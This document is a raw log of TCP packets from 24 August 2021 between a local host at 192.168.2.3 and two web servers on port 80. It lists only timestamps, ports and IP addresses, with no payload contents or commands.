Aug 24, 2021 14:01:43.733479023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733500957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733504057 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733522892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733545065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733546972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733567953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733596087 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733620882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733683109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733706951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733730078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733732939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733761072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733769894 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733793974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733818054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733819008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733849049 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733887911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733932018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733972073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733982086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734013081 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734018087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734056950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734076977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734093904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734097958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734117031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734138012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734153986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734167099 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734179974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734203100 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734205961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734229088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734230042 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734252930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734256029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734276056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734282970 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734297991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734319925 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734321117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734344006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734369040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734375954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734392881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734401941 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734415054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734436989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734438896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734471083 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734498024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734787941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734826088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734843016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734852076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734874964 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734889984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734910011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734926939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734945059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.734956980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734970093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.734971046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735017061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735021114 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735038996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735061884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735061884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735085964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735090971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735109091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735136032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735147953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735152960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735177994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735179901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735207081 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735208035 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735229969 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735232115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.735258102 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.735285997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.736403942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736430883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736449003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736466885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736484051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736500025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736517906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736535072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736553907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736572027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.736763000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.753192902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755251884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755400896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755403996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755420923 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755425930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755474091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755496025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755500078 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755522013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755546093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755563021 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755578041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755599022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755600929 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755620003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755630016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755661011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755670071 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755682945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.755706072 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.755722046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.757308960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758579969 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.758595943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758603096 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.758615971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758647919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758680105 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.758686066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758713961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758744001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758765936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758774996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.758789062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758807898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758825064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758842945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758863926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758879900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758893013 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.758905888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758924007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758940935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758940935 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.758946896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.758960009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.758984089 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.759000063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759012938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.759018898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759037018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759056091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.759058952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759078979 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759079933 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.759097099 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759134054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759155035 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759172916 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759191990 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759208918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759226084 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759243011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759259939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759274960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759291887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759310007 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759327888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759345055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759362936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759382010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759398937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759414911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759430885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759448051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759464979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759481907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759499073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759517908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759533882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759552002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759568930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759587049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759603024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759620905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759639025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759656906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759674072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759692907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759711027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759728909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759747028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.759764910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759785891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759802103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759819984 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759838104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759855032 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759871960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759888887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759906054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759922028 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759938955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759957075 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759974003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.759990931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760009050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760025978 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760042906 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760061026 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760077953 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760096073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760113955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760130882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760149002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760166883 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.760184050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.760200977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.760217905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.760236979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.760255098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.760273933 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.760292053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.760308981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.761414051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.761672974 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.761970043 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.762006044 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.762018919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777475119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777523994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777545929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777565002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777575970 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777585983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777611971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777621031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777654886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777657986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777679920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777693987 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777703047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777724028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777729034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777751923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777770042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777790070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777802944 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777817965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777821064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777849913 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777887106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777909040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.777920961 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777940035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.777985096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778004885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778008938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778031111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778043032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778058052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778064966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778090954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778115988 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778122902 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778140068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778163910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778192043 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778202057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778223991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778248072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778248072 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778274059 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778296947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778301001 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778336048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778357983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778358936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778393030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778394938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778415918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778424025 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778438091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778453112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778458118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778480053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778482914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778501034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778526068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778531075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778548956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778558969 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778568983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778590918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778600931 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778611898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778640985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778676987 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.778942108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.778980017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779009104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779011965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779031038 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779046059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779066086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779084921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779093981 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779150009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779151917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779192924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779205084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779216051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779236078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779238939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779257059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779264927 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779280901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779290915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779301882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779318094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779320002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779335022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779351950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779354095 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779391050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779397964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779417992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779438019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779441118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779459953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779479980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779491901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779498100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.779530048 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.779563904 CEST	49724	80	192.168.2.3	172.67.216.236
